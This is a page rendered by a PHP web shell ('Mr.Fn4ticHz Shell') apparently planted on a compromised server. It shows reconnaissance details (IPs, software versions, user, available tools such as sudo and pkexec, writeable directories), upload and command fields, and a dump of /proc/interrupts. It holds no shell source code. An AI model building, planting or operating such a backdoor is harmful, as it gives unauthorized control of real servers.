Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.243.84
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
  0:         13          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          9          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:          0          0          0          0         15          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 16:          0          0          0          0          0          0          0          0   25162491          0          0          0          0          0          0          0   IO-APIC  16-fasteoi   vmwgfx
 17:          0          0          0          0   35047706          0          0          0          0      13191          0          0          0          0          0          0   IO-APIC  17-fasteoi   ioc0
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 344064-edge      PCIe PME, pciehp
 25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 346112-edge      PCIe PME, pciehp
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 348160-edge      PCIe PME, pciehp
 27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 350208-edge      PCIe PME, pciehp
 28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 352256-edge      PCIe PME, pciehp
 29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 354304-edge      PCIe PME, pciehp
 30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 356352-edge      PCIe PME, pciehp
 31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 358400-edge      PCIe PME, pciehp
 32:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 360448-edge      PCIe PME, pciehp
 33:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 362496-edge      PCIe PME, pciehp
 34:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 364544-edge      PCIe PME, pciehp
 35:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 366592-edge      PCIe PME, pciehp
 36:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 368640-edge      PCIe PME, pciehp
 37:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 370688-edge      PCIe PME, pciehp
 38:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 372736-edge      PCIe PME, pciehp
 39:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 374784-edge      PCIe PME, pciehp
 40:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 376832-edge      PCIe PME, pciehp
 41:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 378880-edge      PCIe PME, pciehp
 42:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 380928-edge      PCIe PME, pciehp
 43:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 382976-edge      PCIe PME, pciehp
 44:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 385024-edge      PCIe PME, pciehp
 45:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 387072-edge      PCIe PME, pciehp
 46:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 389120-edge      PCIe PME, pciehp
 47:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 391168-edge      PCIe PME, pciehp
 48:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 393216-edge      PCIe PME, pciehp
 49:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 395264-edge      PCIe PME, pciehp
 50:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 397312-edge      PCIe PME, pciehp
 51:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 399360-edge      PCIe PME, pciehp
 52:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 401408-edge      PCIe PME, pciehp
 53:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 403456-edge      PCIe PME, pciehp
 54:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 405504-edge      PCIe PME, pciehp
 55:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 407552-edge      PCIe PME, pciehp
 56:          0          0          0          0          0          0    2865516         91          0          0          0          0          0          0          0          0   PCI-MSI 1064960-edge      ahci[0000:02:01.0]
 57:          0          0          0          0          0          0          0          0          0  103898072          0          0       2375          0          0          0   PCI-MSI 1572864-edge      ens160-rxtx-0
 58:          0   32430639          0          0          0          0          0          0          0          0          0          0          0         60          0          0   PCI-MSI 1572865-edge      ens160-rxtx-1
 59:          0          0          0          0          0          0          0   31861457          0          0          0          0          0          0       6935          0   PCI-MSI 1572866-edge      ens160-rxtx-2
 60:          0          0          0          0          0   33064364          0          0          0          0          0          0          0          0          0         66   PCI-MSI 1572867-edge      ens160-rxtx-3
 61:         37          0          0          0          0          0          0          0          0          0          0          0   31751620          0          0          0   PCI-MSI 1572868-edge      ens160-rxtx-4
 62:          0         55          0   31418729          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 1572869-edge      ens160-rxtx-5
 63:          0          0       4715          0          0          0          0          0          0          0   31553504          0          0          0          0          0   PCI-MSI 1572870-edge      ens160-rxtx-6
 64:          0          0          0         46          0          0          0          0          0          0          0          0          0          0   32141398          0   PCI-MSI 1572871-edge      ens160-rxtx-7
 65:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 1572872-edge      ens160-event-8
 66:          0          0     895471          0          0          0          0          0          0          0         34          0          0          0          0          0   PCI-MSI 129024-edge      vmw_vmci
 67:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 129025-edge      vmw_vmci
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:   94198051  112093154  160829723  166245163  139771194  140463074  131270047  130011460  157129178  356458368  126964707  127833864  127527344  123002840  140504419  174824682   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    2999046    3694814    3053551    3055345    3192936    3233666    3368345    3021986    3431179    2797907    2991912    3367600    3187056    3178688    2991179    3123439   Rescheduling interrupts
CAL:  321485371  285713720  239127567  229154204  260716356  259590743  273069166  268332872  260315084  251884675  267236147  264909978  269377250  269464011  255351946  253073162   Function call interrupts
TLB:     961617    1125341     936671     960565    1051980    1072412    1071609     978732    1133334     909218     960783    1115956    1049577    1038866     984340    1038163   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:      18558      18559      18559      18559      18559      18559      18559      18559      18559      18559      18559      18559      18559      18559      18559      18559   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Mr.F4ticHz - 2022
Mr.Fn4tcHzam